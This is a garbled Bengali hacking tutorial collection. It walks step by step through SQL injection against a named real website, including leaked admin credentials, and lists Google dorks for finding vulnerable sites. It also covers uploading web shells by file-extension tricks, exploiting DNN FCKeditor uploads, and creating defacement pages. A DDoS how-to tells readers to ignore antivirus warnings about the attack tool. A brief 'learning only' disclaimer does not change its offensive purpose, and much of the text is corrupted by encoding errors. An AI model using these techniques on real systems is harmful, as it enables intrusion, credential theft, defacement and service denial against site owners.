এফায ―Get Columns ফাটচছন কতিক করন

তাচছর কতনচছচয ভচছতা অচছফ

এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)

এফায ―Get Data টযাচছফ কতিক করন

তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ

অফায ―Find Admin টযাচছফ কতিক করন

তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ

এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয

তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না

ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ

httpwwweastodissaacinnews-and-eventsphpid=22

মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable

সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the

right syntax to use near rdquorsquo at line 1Prime

ছকতফঃ

এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ

এখাচছন অভাচছদয বানবাফর াআট

httpwwweastodissaacinnews-and-eventsphpid=22

মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+

এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ

এখন 1 কতনচছয সদচছখন

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--

না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না

অফায 2 কতদচছয সচিা ককতয

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--

ছকতফঃ

না এফায ডাটা কতভ কযচছতচছছ না

এফাচছফ 345 কচছয 7 মবনত সগরাভ

8 এ সগচছর চছযা াআট SQL আযয সদখায

(চছনক ভয সদখা মায

wwwsitecomindexphpid=1 order 999ndash [ no error ]

থবাৎ order by 999 কতদচছর সকান error সদখায না

এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ

তাচছর িণব কতরেটি চছফ

wwwsitecomindexphpid=1prime order by 999ndash+

এফায সচছজ error সদখাচছফ

ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )

httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--

ছকতফঃ

আযয এযকচছভয চছত াচছয

Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo

থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি

এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ

কভানড টি

+union+select+1234567--

তাচছর কতরংক টি দািাচছফ

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--

ছকতফঃ

( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (

এখন অকতন বানবাফর করাভ সদখচছত াচছফন

এআ াআচছটয বানবাফর করাভ 23সদখাচছফ

এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা

এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা

এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ

এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--

ছকতফঃ

এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা

এটায বাবন 5168-community

বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন

এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ

এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য

+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা

তাচছর কতরংকটি দািাচছরা

httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem

a=database()--

কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন

ছকতফঃ

এআ াআচছটয সটকতফর গচছরা র

est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio

nest_placementrecord

এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ

এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায

একভাতর est_admin এডকতভন সটকতফর ভচছন য

ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ

কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ

এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ

এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায

httpsaddonsmozillaorgen-USfirefoxaddonhackbar

এখন যাকফায টি চছন কচছযন F9 সচচছ

এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন

ছকতফঃ

নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন

ছকতফঃ

এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)

তাচছর কতরংকটি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH

AR(101 115 116 95 97 100 109 105 110)--

ছকতফঃ

অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন

সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ

uiduseridpasswordemailidsignaturelast_login

এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা

এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ

এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা

সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন

করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ

এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ

এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ

+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 29: Hacking Bangla eBook

অফায Next ফাটচছন কতিক করন

এফায Finish ফাটচছন কতিক করন

ছকতফ

এফায Network Location Option mdashgt website folder এ কতিক করন

ছকতফ

এফায কতনচছচয কতরংক সথচছক shell ডাউনচছরাড কচছয কতনন

wwwzidducomdownload16498227shellziphtml

এফায ডাউনচছরাড যা পাআরটিয উয যাআট ফাটন কতিক কচছয Extract এ কতিক করন

ছকতফ

এফায Poweraspjpg পাআরটি ককত করন

ছকতফ

এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন

ছকতফ

সি কযা সল

এফায অনাযা বরাউজাযটি চছন করন

তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন

সমভনঃ httpwwwmyxixiacompoweraspjpg

ছকতফ

তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ

ছকতফ

এফায অনাযা deface html পাআরটি চছন করন

এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন

এফায সকাড ফগচছরা ককত করন

ছকতফ

এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন

ছকতফ

সব কযায য অকতন এভন একটি সজ াচছফন

ছকতফ

এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related

`

DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন

inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx

গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না

ছকতফ

২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ

৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা

ছকতফ

৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)

ছকতফ

৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ

৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত

কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয

কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায

সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww

কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক

ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ

কতকবাচছফ DdoS যাটাক কযফ

পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন

DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য

এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ

থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক

এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা

এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন

কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয

১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ

অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয

একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয

কতকনত DoS যাটাক টা চছে কতনচছচয ভত

অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত

D0S DDoS attack এয কাযন কতক

২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ

অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক

১) যাকাযচছদয কভতরফ

খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ

ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন

যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক

থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয

থফা কতনতানতআ পরযাকটি এয উচছেচছ

২) sysadmin এয বার ভতরফ

নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ

াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ

কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন

DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায

DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয

ড যাটাক এয কভন কামবপরণারী গচছরা চছে -

কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা

কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা

াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ

--------------------------------------------------------------------------------------------------------------------------------------

----------------------

অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ

Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত

পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত

এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন

এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন

রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ

Apache 1x Apache 2x

GoAhead WebServer

---------------------------------------------------------------------------------------------------------------------------------------

---------------------

এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ

পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন

এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন

পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন

httpwwwmediafirecomfamiivi799a9459

পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as

administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ

১ URL ফচছকস সম সকান াআচছটয নাভ সরখন

(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)

২ lock on কতচছরকট করন

৩ সদখচছফন অআকত রক চছয কতগচছযচছছ

৪ কতচতর এয ভত কচছয http কতচছরকট করন

